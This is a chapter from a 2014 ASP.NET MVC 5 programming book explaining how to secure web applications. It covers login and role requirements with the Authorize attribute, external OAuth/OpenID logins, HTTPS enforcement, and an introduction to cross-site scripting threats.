Membership, Authorization, and Security - Professional ASP.NET MVC 5 (2014)

Professional ASP.NET MVC 5 (2014)

Chapter 7
Membership, Authorization, and Security

—by Jon Galloway

What's In This Chapter?

· Requiring login with the Authorize Attribute

· Requiring role membership using the Authorize Attribute

· Using security vectors in a web application

· Coding defensively

WROX.COM CODE DOWNLOADS FOR THIS CHAPTER

All code for this chapter is provided via NuGet, as described in this book's introduction. NuGet code samples are clearly indicated with notes at the end of each application section. The NuGet packages are also available at http://www.wrox.com/go/proaspnetmvc5for offline use.

SECURITY: NOT FUN, BUT INCREDIBLY IMPORTANT

Securing your web applications can seem like a chore. It's something you have to do, but not a whole lot of fun. Nobody looks at your application and says, “Wow! Check out how well they secured my personally identifiable information! This programmer rules!” Security is generally something you have to do because you don't want to be caught in an embarrassing security breach.

No, security doesn't sound like a whole lot of fun. Most of the time, when you read a chapter on security it's either underwritten or overbearing. The good news for you is that we, the authors, read these books, too—a lot of them—and we're quite aware that we're lucky to have you as a reader, and we're not about to abuse that trust. In short, we really want this chapter to be informative because security is very important!

ASP.NET Web Forms Developers: We're Not in Kansas Anymore!

This chapter is one you absolutely must read, because ASP.NET MVC doesn't have as many automatic protections as ASP.NET Web Forms does to secure your page against malicious users. ASP.NET Web Forms tries hard to protect you from a lot of things. For example:

· Server Components automatically HTML encode displayed values and attributes to help prevent XSS attacks.

· ViewState is encrypted and validated to help prevent tampering with form posts.

· Request Validation (<% @page validaterequest="true" %>) intercepts malicious-looking data and offers a warning (this is still turned on by default with ASP.NET MVC).

· Event Validation helps prevent injection attacks and posting of invalid values.

The transition to ASP.NET MVC means that handling some of these things falls to you—this is scary for some folks, a good thing for others.

If you're of the mind that a framework should “just handle this kind of thing” —well, we agree with you, and a framework exists that does just this: ASP.NET Web Forms, and it does it very well. It comes at a price, however, which is that you lose some control because it introduces a level of abstraction.

ASP.NET MVC gives you more control over markup and how your application functions, which means you've taken on more responsibility. To be clear, ASP.NET MVC does offer you a lot of built-in protection (for example, features like HTML encoding by default use HTML helpers and Razor syntax, request validation, and use scaffolded controllers whitelist form elements to prevent over-posting attacks). However, you can easily shoot yourself in the foot if you don't understand web security—and that's what this chapter is all about.

The number one excuse for insecure applications is a lack of information or understanding on the developer's part, and we would like to change that—but we also realize that you're human and are susceptible to falling asleep. Therefore, we want to offer you the punch line first to this chapter right at the beginning.

Never, ever trust any data your users give you. Ever.

Here are some practical examples:

· Any time you render data that originated as user input, encode it. The most common practice is to HTML encode it, though you sometimes need to HTML attribute encode it if it's displayed as an attribute value, or JavaScript encode it if it's being used in a JavaScript code snippet. And sometimes you need multiple layers of encoding, such as a JavaScript code snippet in an HTML page.

· Think about what portions of your site should be available for anonymous access, and require authentication on the others.

· Don't try to sanitize your users' HTML input yourself (using regular expressions or some other method)—you'll lose.

· Use HTTP-only cookies when you don't need to access cookies via client-side script (which is most of the time).

· Remember that external input isn't just obvious form fields; it includes URL query string values, hidden form fields, Ajax requests, results of external web services you're using, and more.

· Consider using the AntiXSS encoder (a component of the Microsoft Web Protection Library, which is now distributed with ASP.NET 4.5 and higher).

There's obviously a lot more we can tell you—including how some common attacks work and what the attackers are after. So hang with us—we're going to venture into the minds of your users, and, yes, the people who are going to try to hack your site are your users, too. You have enemies, and they are waiting for you to build this application of yours so they can come and break into it. If you haven't faced this before, it's usually for one of two reasons:

· You haven't built an application.

· You didn't find out that someone hacked your application.

Hackers, crackers, spammers, viruses, malware—they all want access to your computer and the files on it. Chances are that your e-mail inbox has deflected many e-mails in the time that it's taken you to read this. Your ports have been scanned, and most likely an automated worm has tried to find its way into your PC through various operating system holes. These attacks are automated, so they're constantly probing, looking for an open system.

Discussing this topic might seem like a dire way to start this chapter; however, you need to understand one thing straight off the bat: It's not personal. You're just not part of the equation. It's a fact of life that some people consider all computers (and their information) fair game. They write programs that are constantly scanning for vulnerabilities, and if you create one they'll happily exploit it.

Meanwhile, your applications are built with the assumption that only certain users should be able to perform some actions, and no user should ever be able to perform others. There's a radical disconnect between how you hope your application will be used and how hackers hope to abuse it. This chapter explains how to make use of the membership, authorization, and security features in ASP.NET MVC to keep both your users and the anonymous horde of attackers in line.

This chapter starts with a look at how to use the security features in ASP.NET MVC to perform application functions such as authorization, and then moves on to look at how to handle common security threats. Remember that it's all part of the same continuum, though. You want to make sure that everyone who accesses your ASP.NET MVC application uses it in the way you intended. That's what security is all about.

USING THE AUTHORIZE ATTRIBUTE TO REQUIRE LOGIN

The first, simplest step in securing an application is requiring that a user be logged in to access specific parts of the application. You can do that using the Authorize action filter on a controller, on specific actions within a controller, or even globally for the entire application. The AuthorizeAttribute is the default authorization filter included with ASP.NET MVC. Use it to restrict access to an action method. Applying this attribute to a controller is shorthand for applying it to every action method within the controller.

Authentication and Authorization

Sometimes people get confused with respect to the difference between user authentication and user authorization. Getting these concepts confused is easy to do—but in summary, authentication is verifying that users are who they say they are, using some form of login mechanism (username/password, OpenID, OAuth and so on—something that says “this is who I am”). Authorization is verifying that they can do what they want to do with respect to your site. This is usually achieved using some type of role-based or claim-based system.

Without any parameters, the Authorize attribute just requires that the user is logged in to the site in any capacity—in other words, it just forbids anonymous access. You look at that first, and then look at restricting access to specific roles or claims.

Securing Controller Actions

Assume that you've naively started on your music store application with a simple shopping scenario—a StoreController with two actions—Index (which displays the list of albums) and Buy:

using System.Collections.Generic;

using System.Linq;

using System.Web.Mvc;

using Wrox.ProMvc5.Security.Authorize.Models;

namespace Wrox.ProMvc5.Security.Authorize.Controllers

{

public class StoreController : Controller

{

public ActionResult Index()

{

var albums = GetAlbums();

return View(albums);

}

public ActionResult Buy(int id)

{

var album = GetAlbums().Single(a => a.AlbumId == id);

//Charge the user and ship the album!!!

return View(album);

}

// A simple music catalog

private static List<Album> GetAlbums()

{

var albums = new List<Album>{

new Album { AlbumId = 1, Title = "The Fall of Math",

Price = 8.99M},

new Album { AlbumId = 2, Title = "The Blue Notebooks",

Price = 8.99M},

new Album { AlbumId = 3, Title = "Lost in Translation",

Price = 9.99M },

new Album { AlbumId = 4, Title = "Permutation",

Price = 10.99M },

};

return albums;

}

}

}

However, you're obviously not done, because the current controller would allow a user to buy an album anonymously. You need to know who the users are when they buy the album. You can resolve this by adding the AuthorizeAttribute to the Buy action, like this:

[Authorize]

public ActionResult Buy(int id)

{

var album = GetAlbums().Single(a => a.AlbumId == id);

//Charge the user and ship the album!!!

return View(album);

}

To see this code, use NuGet to install the Wrox.ProMvc5.Security.Authorize package into a default ASP.NET MVC project, as follows:

Install-Package Wrox.ProMvc5.Security.Authorize

Run the application and browse to /Store. You'll see a list of albums, and you haven't had to log in or register at this point, as shown in Figure 7.1.

image

Figure 7.1

When you click the Buy link, however, you are required to log in (see Figure 7.2).

image

Figure 7.2

Because you don't have an account yet, you'll need to click the Register link, which displays a standard account signup page (see Figure 7.3).

image

Figure 7.3

Notice that the standard AccountController registration doesn't track the referrer when you create a new account, so after creating a new account you'll need to navigate back to /Store to try again. You can add this functionality in yourself, but if you do you need to make sure you don't add in an open redirection vulnerability (discussed just a bit later this chapter).

When you click the Buy button after registering, the authorization check passes and you're shown the purchase confirmation page, as shown in Figure 7.4. (Of course, a real application would also collect some additional information during the checkout, as demonstrated in the MVC Music Store application.)

Using URL Authorization

A common means of securing an application with Web Forms is to use URL authorization. For example, if you have an admin section and you want to restrict it to users who are in the Admins role, you might place all your admin pages in an admin folder and deny access to everyone except those in the Admins role to that subfolder. With ASP.NET Web Forms, you can secure a directory on your site by locking it down in the web.config:

<location path= "Admin" allowOverride="false">

<system.web>

<authorization>

<allow roles= "Administrator" />

<deny users="?" />

</authorization>

</system.web>

</location>

With MVC that approach won't work so well for two reasons:

· Requests no longer map to physical directories.

· There may be more than one way to route to the same controller.

With MVC, it is possible in theory to have an AdminController encapsulate your application's administrative functionality and then set URL authorization within your root web.config file to block access to any request that begins with /Admin. However, this isn't necessarily secure. It might be possible that you have another route that maps to the AdminController by accident.

For example, say that later on you decide that you want to switch the order of {controller} and {action} within your default routes. So now, /Index/Admin is the URL for the default admin page, but that is no longer blocked by your URL authorization.

A good approach to security is to always put the security check as close as possible to the thing you are securing. You might have other checks higher up the stack, but ultimately, you want to secure the actual resource. This way, no matter how the user got to the resource, there will always be a security check. In this case, you don't want to rely on routing and URL authorization to secure a controller; you really want to secure the controller itself. The AuthorizeAttribute serves this purpose.

· If you don't specify any roles or users, the current user must simply be authenticated in order to call the action method. This is an easy way to block unauthenticated users from a particular controller action.

· If a user attempts to access an action method with this attribute applied and fails the authorization check, the filter causes the server to return a “401 Unauthorized” HTTP status code.

image

Figure 7.4

How AuthorizeAttribute Works with Forms Authentication and the AccountController

What's going on behind the scenes with this authentication scenario? Clearly, we didn't write any code (controllers or views) to handle the Log On and Register URLs, so where did it come from? The ASP.NET MVC template with Individual User Accounts authentication includes an AccountController that implements support for both local accounts and external accounts managed by OpenID and OAuth authentication.

The AuthorizeAttribute is an authorization filter, which means that it executes before the associated controller action. The AuthorizeAttribute performs its main work in the OnAuthorization method, which is a standard method defined in the IAuthorizationFilterinterface. Checking the MVC source code, you can see that the underlying security check looks at the underlying authentication information held by the ASP.NET context:

IPrincipal user = httpContext.User;

if (!user.Identity.IsAuthenticated)

{

return false;

}

if (_usersSplit.Length > 0 &&

!_usersSplit.Contains(user.Identity.Name, StringComparer.OrdinalIgnoreCase))

{

return false;

}

if (_rolesSplit.Length > 0 && !_rolesSplit.Any(user.IsInRole))

{

return false;

}

return true;

If the user fails authorization, an HttpUnauthorizedResult action result is returned, which produces an HTTP 401 (Unauthorized) status code.

A 401 status code is an entirely accurate response to an unauthorized request, but it's not entirely friendly. Most websites don't return a raw HTTP 401 response for the browser to handle. Instead, they commonly use an HTTP 302 to redirect the user to the login page in order to authenticate a user with rights to view the original page. When you're using cookie-based authentication (the default for an ASP.NET MVC application using the individual user accounts such as username / password or OAuth login), ASP.NET MVC handles the response conversion from a 401 to a 302 redirect for you automatically.

Behind the Scenes in the 401 to 302 Redirection Process

In ASP.NET MVC 5, the 401 to 302 redirection process is handled by OWIN (Open Web Interface for .NET) middleware components. Cookie-based authentication is handled by the CookieAuthenticationHandler (found in the Microsoft.Owin.Cookiesnamespace). This handler derives from the Microsoft.Owin.Security.Infrastructure.AuthenticationHandler base and overrides a few key methods. The ApplyResponseChallengeAsync method handles the redirection and it redirects unauthenticated requests to a LoginPath value, which defaults to "/Account/Login”. At release this took some work to modify, but the version 2.1 update to the Microsoft.Owin.Security NuGet package included an OnApplyRedirect callback, which makes setting the login path easy, even at runtime.

You can read more about how this middleware is implemented in Brock Allen's excellent post covering OWIN Authentication Middleware Architecture at http://brockallen.com/2013/08/07/owin-authentication-middleware-architecture/.

In previous versions of ASP.NET MVC, this redirection is handled by the FormsAuthenticationModule OnLeave method, which instead redirects to the application login page defined in the application's web.config, as shown here:

<authentication mode="Forms">

<forms loginUrl="∼/Account/LogOn" timeout="2880" />

</authentication>

This redirection address includes a return URL, so after completing login successfully, the Account LogOn action redirects to the originally requested page.

Open Redirection as a Security Vector

The login redirection process is a target for open redirection attacks because attackers can craft malicious post-login URLs, which could redirect users to harmful websites. You learn more about this threat later in this chapter. The standardAccountController in an ASP.NET MVC 5 application includes a check to ensure the post-login URL is local to the application, but knowing about this potential threat, both generally as an application developer and also in case you decide to modify or write your own account controller, is important.

It's nice that the AccountController—and its associated views—are all provided in the ASP.NET MVC with the individual user accounts authentication template. In simple cases, adding authorization doesn't require any additional code or configuration.

Equally nice, though, is that you can change any of those parts:

· The AccountController (as well as the associated Account models and views) is a standard ASP.NET MVC controller, which is pretty easy to modify.

· The authorization calls work against standard OWIN middleware components published in the ASP.NET Identity system. You can switch authentication middleware components or write your own.

· The AuthorizeAttribute is a standard authorization attribute, implementing IAuthorizeFilter. You can create your own authorization filters.

Windows Authentication

When you select the Windows Authentication option, authentication is effectively handled outside of the application by the web browser, Windows, and IIS. For this reason, Startup.Auth.cs is not included in the project, and no authentication middleware is configured.

Because Registration and Log On with Windows Authentication are handled outside of the web application, this template also doesn't require the AccountController or the associated models and views. To configure Windows Authentication, this template includes the following line in web.config:

<authentication mode="Windows" />

To use the Intranet authentication option, you'll need to enable Windows authentication and disable Anonymous authentication.

IIS 7 and IIS 8

Complete the following steps to configure Intranet authentication when running under IIS 7 and IIS 8:

1. Open IIS Manager and navigate to your website.

2. In Features View, double-click Authentication.

3. On the Authentication page, select Windows authentication. If Windows authentication is not an option, you'll need to make sure Windows authentication is installed on the server.

To enable Windows authentication in Windows:

a. In the Control Panel, open Programs and Features.

b. Select Turn Windows features on or off.

c. Navigate to Internet Information Services World Wide Web Services Security and make sure the Windows authentication node is checked.

To enable Windows authentication on Windows Server:

d. In the Server Manager, select Web Server (IIS) and click Add Role Services.

e. Navigate to Web Server Security and make sure the Windows authentication node is checked.

4. In the Actions pane, click Enable to use Windows authentication.

5. On the Authentication page, select Anonymous authentication.

6. In the Actions pane, click Disable to disable anonymous authentication.

IIS Express

Complete the following steps to configure Intranet authentication when running under IIS 7 and IIS 8:

1. Click your project in the Solution Explorer to select the project.

2. If the Properties pane is not open, open it (F4).

3. In the Properties pane for your project:

a. Set Anonymous Authentication to Disabled.

b. Set Windows Authentication to Enabled.

Securing Entire Controllers

The earlier scenario demonstrated a single controller with the AuthorizeAttribute applied to specific controller actions. After some time, you realize that the browsing, shopping cart, and checkout portions of your website each deserve separate controllers. Several actions are associated with both the anonymous Shopping Cart (view cart, add item to cart, remove from cart) and the authenticated Checkout (add address and payment information, complete checkout). Requiring Authorization on Checkout lets you transparently handle the transition from Shopping Cart (anonymous) to Checkout (registration required) in the Music Store scenario. You accomplish this by putting the AuthorizeAttribute on the CheckoutController, like this:

[Authorize]

public class CheckoutController : Controller

This says that all actions in the CheckoutController will allow any registered user, but will not allow anonymous access.

Securing Your Entire Application Using a Global Authorization Filter

For many sites, nearly the entire application should require authorization. In this case, requiring authorization by default and making exceptions in the few places where anonymous access is allowed—such as the site's home page and URLs required for the login process—is simpler. For this case, configuring the AuthorizeAttribute as a global filter and allowing anonymous access to specific controllers or methods using the AllowAnonymous attribute is a good idea.

To register the AuthorizeAttribute as a global filter, add it to the global filters collection in the RegisterGlobalFilters method, located in \App_Start\FilterConfig.cs:

public static void RegisterGlobalFilters(GlobalFilterCollection filters) {

filters.Add(new System.Web.Mvc.AuthorizeAttribute());

filters.Add(new HandleErrorAttribute());

}

This applies the AuthorizeAttribute to all controller actions in the application.

Global Authorization Is Global Only to MVC

Keep in mind that a global filter applies only to MVC controller actions. It doesn't secure Web Forms, static content, or other ASP.NET handlers.

As mentioned earlier, Web Forms and static resources map to file paths and can be secured using the authorization element in your web.config. ASP.NET handler security is more complex; like an MVC action, a handler can map to multiple URLs.

Securing handlers is normally handled via custom code in the ProcessRequest method. For example, you might check User.Identity.IsAuthenticated and redirect or return an error if the authentication check fails.

The obvious problem with a global authentication is that it restricts access to the entire site, including the AccountController, which would result in the users' having to log in before being able to register for the site, except they don't yet have an account—how absurd! Prior to MVC 4, if you wanted to use a global filter to require authorization, you had to do something special to allow anonymous access to the AccountController. A common technique was to subclass the AuthorizeAttribute and include some extra logic to selectively allow access to specific actions. MVC 4 added a new AllowAnonymous attribute. You can place AllowAnonymous on any methods (or entire controllers) to opt out of authorization as desired.

For an example, you can see the default AccountController in a new MVC 5 application using Individual Accounts for authentication. All methods that would require external access if the AuthorizeAttribute were registered as a global filter are decorated with theAllowAnonymous attribute. For example, the Login HTTP Get action appears, as follows:

//

// GET: /Account/Login

[AllowAnonymous]

public ActionResult Login(string returnUrl)

{

ViewBag.ReturnUrl = returnUrl;

return View();

}

This way, even if you register the AuthorizeAttribute as a global filter, users can access the login actions.

Although AllowAnonymous solves this specific problem, it only works with the standard AuthorizeAttribute; it won't necessarily work with custom authorization filters. If you're using custom authorization filters, you'll want to use a new feature in MVC 5: override filters. These allow you to locally override any filter (for example, any custom authorization filter that derives from IAuthorizationFilters). Chapter 15 covers this topic in detail in the section “Filter Overrides.”

USING AUTHORIZEATTRIBUTE TO REQUIRE ROLE MEMBERSHIP

So far you've looked at the use of AuthorizeAttribute to prevent anonymous access to a controller or controller action. However, as mentioned, you can also limit access to specific users or roles. A common example of where this technique is used is in administrative functions. Your Music Store application has grown to the point that you're no longer happy with editing the album catalog by directly editing the database. It's time for a StoreManagerController.

However, this StoreManagerController can't just allow any random registered user who just opened an account to edit, add, or delete an album. You need the ability to limit access to specific roles or users. Fortunately, AuthorizeAttribute allows you to specify both roles and users, as shown here:

[Authorize(Roles="Administrator")]

public class StoreManagerController : Controller

This restricts access to the StoreManagerController to users who belong to the Administrator role. Anonymous users, or registered users who are not members of the Administrator role, are prevented from accessing any of the actions in the StoreManagerController.

As implied by the name, the Roles parameter can take more than one role. You can pass in a comma-delimited list:

[Authorize(Roles="Administrator,SuperAdmin")]

public class TopSecretController:Controller

You can also authorize by a list of users:

[Authorize(Users="Jon,Phil,Scott,Brad,David")]

public class TopSecretController:Controller

And you can combine them, as well:

[Authorize(Roles="UsersNamedScott", Users="Jon,Phil,Brad,David")]

public class TopSecretController:Controller

Managing Permissions: Users, Roles, and Claims

Managing your permissions based on roles instead of users is generally considered a better idea, for several reasons:

· Users can come and go, and a specific user is likely to require (or lose) permissions over time.

· Managing role membership is generally easier than managing user membership. If you hire a new office administrator, you can easily add her to an Administrator role without a code change. If adding a new administrative user to your system requires you to modify all your Authorize attributes and deploy a new version of the application assembly, people will laugh at you.

· Role-based management enables you to have different access lists across deployment environments. You might want to grant developers Administrator access to a payroll application in your development and stage environments, but not in production.

When you're creating role groups, consider using privileged-based role groups. For example, roles named CanAdjustCompensation and CanEditAlbums are more granular and ultimately more manageable than overly generic groups like Administrator followed by the inevitable SuperAdmin and the equally inevitable SuperSuperAdmin.

When you head down this direction, you're bordering on claims-based authorization. Under the hood, ASP.NET has supported claims-based authorization since .NET 4.5, although it's not surfaced by AuthorizeAttribute. Here's the easy way to understand the difference between roles and claims: Role membership is a simple Boolean—a user either is a member of the role or not. A claim can contain a value, not just a simple Boolean. This means that users' claims might include their username, their corporate division, the groups or level of other users they are allowed to administer, and so on. So with claims, you wouldn't need a bunch of roles to manage the extent of compensation adjustment powers (CanAdjustCompensationForEmployees,CanAdjustCompensationForManagers, and so on). A single claim token can hold rich information about exactly which employees you rule.

This means that roles are really a specific case of claims, because membership in a role is just one simple claim.

For a full example of the interaction between the security access levels discussed, download the MVC Music Store application from http://mvcmusicstore.codeplex.com and observe the transition between the StoreController, CheckoutController, andStoreManagerController. This interaction requires several controllers and a backing database, so downloading the completed application code is simpler than installing a NuGet package and walking through a long list of configuration steps.

EXTENDING USER IDENTITY

On the surface, the way you'll interact with the identity and security mechanisms in MVC 5 is pretty similar to how you did in previous versions of MVC. For instance, the Authorize attribute discussed in the previous section continues to work as before. However, as mentioned in Chapter 1, the entire identity infrastructure in MVC 5—and across ASP.NET—has been rewritten using the new ASP.NET Identity system.

One of the design requirements for ASP.NET Identity is to allow for extensive customization without undue pain. Some of the extensibility points include:

· Adding additional user profile data is now trivial.

· Persistance control is supported through the use of UserStore and RoleStore abstractions over the data access layer.

· The RoleManager makes it easy to create roles and manage role membership.

The official ASP.NET Identity documentation (available at http://asp.net/identity) includes thorough explanations and samples, and the ASP.NET Identity system is maturing rapidly, so this section will focus on introducing important.

Storing additional user profile data

It's a very common requirement to store additional information about your users: birthday, Twitter handle, site preferences, etc. In the past, adding additional profile data was unnecessarily difficult. In ASP.NET Identity, users are modeled using an Entity Framework Code First model, so adding additional information to your users is as simple as adding properties to your ApplicationUser class (found in /Models/IdentityModels.cs). For example, to add an Address and Twitter handle to your user, youd just add the following properties:

public class ApplicationUser : IdentityUser

{

public string Address { get; set; }

public string TwitterHandle { get; set; }

}

This is described in more detail here: http://go.microsoft.com/fwlink/?LinkID=317594.

Persistance control

By default, ASP.NET Identity implements data storage using Entity Framework Code First, so you can customize the data storage in any way you'd normally configure Entity Framework (e.g. pointing the connection string at any database Entity Framework supports.)

Additionally, ASP.NET Identity's data storage is built on top of the UserStore and RoleStore abstractions. You can implement your own UserStore and / or RoleStore to persist your data in any way you'd like, including Azure Table Storage, custom file formats, web service calls, etc.

This tutorial explains the concepts in detail, with a link to an example using MySQL: http://www.asp.net/identity/overview/extensibility/overview-of-custom-storage-providers-for-aspnet-identity.

Managing users and roles

ASP.NET Identity includes a UserManager and RoleManager which make it easy to perform common tasks like creating users and roles, adding users to roles, checking if a user is in a role, etc.

A detailed example is available here: http://azure.microsoft.com/en-us/documentation/articles/web-sites-dotnet-deploy-aspnet-mvc-app-membership-oauth-sql-database/.

It's great that you've got these extensibility points when you need them. For the most part, if you're using the standard AccountController and storing user information via Entity Framework, you just code away without considering the extensibility points—until you want them.

EXTERNAL LOGIN VIA OAUTH AND OPENID

Historically, the huge majority of web applications have handled authorization based on a locally maintained account database. The traditional ASP.NET Membership system is a familiar example: New users register for an account by providing a name, password, and possibly other required information. The application adds the user information to a local membership database and uses it to validate login attempts.

Although traditional membership is a great fit in a lot of web applications, it comes with some serious downsides:

· Maintaining a local database of usernames and secret passwords is a large security liability. Large security breaches involving hundreds of thousands of users' account information (often including unencrypted passwords) have become common. Worse, because many users reuse passwords on multiple websites, compromised accounts may affect your users' security on their banking or other sensitive websites.

· Website registration is annoying. Users have gotten tired of filling out forms, complying with widely differing password policies, remembering passwords, and worrying whether your site is going to keep their information secure. A significant percentage of potential users will decide they would rather not bother with registering for your site.

OAuth and OpenID are open standards for authentication. These protocols allow your users to log in to your site using their existing accounts on other trusted sites (called providers), such as Google, Twitter, Microsoft, and others.

Note

Technically, the OAuth protocol was designed for authorization, but in general use it's frequently used for authentication.

Setting up your site to support OAuth and OpenID has been difficult to implement in the past for two reasons: These protocols are complex, and many top providers implement them a little differently. MVC's project templates greatly simplify this by including built-in support for OAuth and OpenID in the ASP.NET MVC with the individual user accounts authentication template. This support includes an updated AccountController, views to facilitate registration and account management, and infrastructure support via OWIN middleware.

The new login page now shows two options: “Use a local account to log in” and “Use another service to log in,” as shown in Figure 7.5. As implied by this page, your site can support both options, allowing users to continue to create local accounts if they prefer.

image

Figure 7.5

Registering External Login Providers

You need to explicitly enable external sites for login. Fortunately, this task is extremely simple to do. Authorization providers are configured in App_Start\Startup.Auth.cs. When you create a new application, all authentication providers in Startup.Auth.cs are commented out and will appear as follows:

public partial class Startup

{

// For more information on configuring authentication,

// please visit http://go.microsoft.com/fwlink/?LinkId=301864

public void ConfigureAuth(IAppBuilder app)

{

// Enable the application to use a cookie to store

// information for the signed in user

app.UseCookieAuthentication(new CookieAuthenticationOptions

{

AuthenticationType =

DefaultAuthenticationTypes.ApplicationCookie,

LoginPath = new PathString("/Account/Login")

});

// Use a cookie to temporarily store information about

// a user logging in with a third party login provider

app.UseExternalSignInCookie(

DefaultAuthenticationTypes.ExternalCookie);

// Uncomment the following lines to enable logging in

// with third party login providers

//app.UseMicrosoftAccountAuthentication(

// clientId: "",

// clientSecret: "");

//app.UseTwitterAuthentication(

// consumerKey: "",

// consumerSecret: "");

//app.UseFacebookAuthentication(

// appId: "",

// appSecret: "");

//app.UseGoogleAuthentication();

}

}

Sites that use an OAuth provider (Facebook, Twitter, and Microsoft) require you to register your site as an application. When you do, you'll be provided a client id and a secret. Your site uses these to authenticate with the OAuth provider. Sites that implement OpenID (such as Google and Yahoo!) do not require you to register an application, and you won't need a client id or secret.

The OWIN middleware utility methods shown in the preceding listing work pretty hard to hide the implementation differences between OAuth and OpenID as well as differences between providers, but you'll notice some differences. The providers use differing terminology as well, referring to client id as consumer key, app id, and so on. Fortunately, these middleware methods for each provider use parameter names that match the provider's terms and documentation.

Configuring OpenID Providers

Configuring an OpenID provider is relatively simple, because no registration is required and there are no parameters to fill in. There's just one OpenID middleware implementation that ships with ASP.NET MVC 5: Google. If you need to create another custom OpenID provider, I recommend looking at the GoogleAuthenticationMiddleware implementation following the same pattern.

Note

Sadly (in my opinion), it seems like OpenID has clearly lost to OAuth at this point. I think that's sad because OAuth is not really designed for authentication; it was designed for resource sharing between sites. However, it was more widely adopted by providers (Twitter, Facebook, Microsoft Account, and so on) than OpenID, and implementing sites and users followed. The last major independent OpenID provider, myOpenID, shut down on February 1, 2014.

The example code to implement Google provider support is already included in Startup.Auth.cs, so just uncomment it.

public partial class Startup

{

public void ConfigureAuth(IAppBuilder app)

{

// Use a cookie to temporarily store information about

// a user logging in with a third party login provider

app.UseExternalSignInCookie(

DefaultAuthenticationTypes.ExternalCookie);

app.UseGoogleAuthentication();

}

}

That's it—you're done. To test this, run the application and click the Log In link in the header (or browse to /Account/Login). You'll see a button for Google authentication displayed in the external sites list, as shown in Figure 7.6.

image

Figure 7.6

Next, click the Google Log in button. This redirects you to a Google confirmation page, as shown in Figure 7.7, that verifies you want to provide information (in this case, my e-mail address) back to the requesting site.

image

Figure 7.7

After clicking Accept, you are redirected back to the ASP.NET MVC site to complete the registration process (see Figure 7.8).

image

Figure 7.8

After clicking the Register button, you are redirected to the home page as an authenticated user.

At the time of this writing, the new ASP.NET Identity system doesn't provide more in-depth account management for you after you're authenticated. This will likely change in the future because ASP.NET Identity 2.0 (planned release in the spring of 2014) includes more advanced features like password reset and account confirmation. You can keep up with ASP.NET Identity at http://asp.net/identity.

Configuring OAuth Providers

Although the code involved in configuring an OAuth provider is very similar to the OpenID case, the process of registering your site as an application varies by provider. The MVC 5 project template (when using Individual Account for authentication) includes support for three specific OAuth providers (Microsoft, Facebook, and Twitter) as well as a generic OAuth implementation.

Note

Note that unlike the MVC 4 implementation, which relied on the DotNetOpenAuth NuGet package, the MVC 5 OAuth middleware does not depend on an external OAuth implementation.

I recommend you follow the official documentation on the ASP.NET site for configuring OAuth rather than referring to printed material or blog posts. You can find it by clicking the article linked in Startup.Auth.cs (in the comment that begins, “For more information on configuring authentication…”) or at the following location: http://go.microsoft.com/fwlink/?LinkId=301864. This documentation includes step-by-step instructions for registering applications and is supported by the ASP.NET team.

When registration is complete, the provider will issue you a client id and secret, and you can plug them right into the commented-out methods shown in AuthConfig.cs. For example, assume you registered a Facebook application and were provided an App ID “123456789012” and App Secret “abcdefabcdefdecafbad.” (Note that these are examples and will not work.) You could then enable Facebook authentication using the following call in Startup.Auth.cs:

public partial class Startup

{

public void ConfigureAuth(IAppBuilder app)

{

// Use a cookie to temporarily store information about

// a user logging in with a third party login provider

app.UseExternalSignInCookie(

DefaultAuthenticationTypes.ExternalCookie);

app.UseFacebookAuthentication(

appId: "123456789012",

appSecret: "abcdefabcdefdecafbad");

}

}

Security Implications of External Logins

Although OAuth and OpenID simplify your site's security code, they introduce other potential attack vectors into your application. If either a provider site or the security communication between your sites is compromised, an attacker could either subvert the login to your site or capture the user's information. Continuing to pay attention to security when you're using delegated authentication is important. Security for your site is always your responsibility, even if you're making use of external services for authentication.

Trusted External Login Providers

Supporting only providers whose security you trust, which generally means sticking with well-known providers, is important for a couple reasons:

· When you are redirecting your users to external sites, you want to make sure that these sites are not malicious or poorly secured ones that will leak or misuse your users' login data or other information.

· Authentication providers are giving you information about users—not just their registration state, but also e-mail addresses and potentially other provider-specific information. Although by default this additional information isn't stored, reading provider data such as e-mail to prevent the user from having to re-enter it is not uncommon. A provider could potentially—either accidentally or maliciously—return information. Displaying any provider information to the user before you store it is generally a good idea.

Requiring SSL for Login

The callback from an external provider to your site contains security tokens that allow access to your site and contain user information. Transmitting this information over HTTPS to prevent interception while this information travels over the Internet is important.

To enforce HTTPS for this callback, applications that support external logins should require HTTPS for access to the AccountController's Login GET method using the RequireHttps attribute:

//

// GET: /Account/Login

[RequireHttps]

[AllowAnonymous]

public ActionResult Login(string returnUrl)

{

ViewBag.ReturnUrl = returnUrl;

return View();

}

Enforcing HTTPS during login to your site causes all calls to external providers to occur over HTTPS, which, in turn, causes the providers to make their callbacks to your site using HTTPS.

Additionally, using HTTPS with Google authentication is important. Google reports a user who logs in once via HTTP and later via HTTPS as two different people. Always requiring HTTPS prevents this problem.

UNDERSTANDING THE SECURITY VECTORS IN A WEB APPLICATION

So far, this chapter has focused on using security features to control access to areas in your site. Many developers see this—ensuring that the right usernames and passwords map to the correct sections of their web application—as the extent of their involvement in web application security.

However, if you'll remember, the chapter began with dire warnings about how your applications need security features that do nothing but prevent misuse. When your web application is exposed to public users—especially the enormous, anonymous public Internet—it is vulnerable to a variety of attacks. Because web applications run on standard, text-based protocols such as HTTP and HTML, they are especially vulnerable to automated attacks as well.

So, let's shift focus to seeing how hackers try to misuse your applications, and how you can beat them.

Threat: Cross-Site Scripting

Let's start with a look at one of the most common attacks: cross-site scripting (XSS). This section discusses XSS, what it means to you, and how to prevent it.

Cross-Site Scripting Threat Summary

You have allowed this attack before, and maybe you just got lucky and no one walked through the unlocked door of your bank vault. Even if you're the most zealous security nut, you've let this one slip. This is unfortunate because XSS is the number-one security vulnerability on the Web, and it's largely because of web developers unfamiliar with the risks.

XSS can be carried out in one of two ways: by a user entering nasty script commands into a website that accepts unsanitized user input or by user input being directly displayed on a page. The first example is called passive injection—whereby a user enters nastiness into a textbox, for example, and that script gets saved into a database and redisplayed later. The second is called active injection and involves a user entering nastiness into an input, which is immediately displayed onscreen. Both are evil—take a look at passive injection first.

Passive Injection

XSS is carried out by injecting script code into a site that accepts user input. An example of this is a blog, which allows you to leave a comment to a post, as shown in Figure 7.9.

image

Figure 7.9

This has four text inputs: name, e-mail, comment, and URL, if you have a blog of your own. Forms like this make XSS hackers salivate for two reasons—first, they know that the input submitted in the form will display on the site, and second, they know that encoding URLs is tricky, and developers usually forego checking these properly because they are part of an anchor tag anyway.

One thing to always remember (if we haven't overstated it already) is that the Black Hats out there are a lot craftier than you are. We won't say they're smarter, but you might as well think of them this way—it's a good defense.

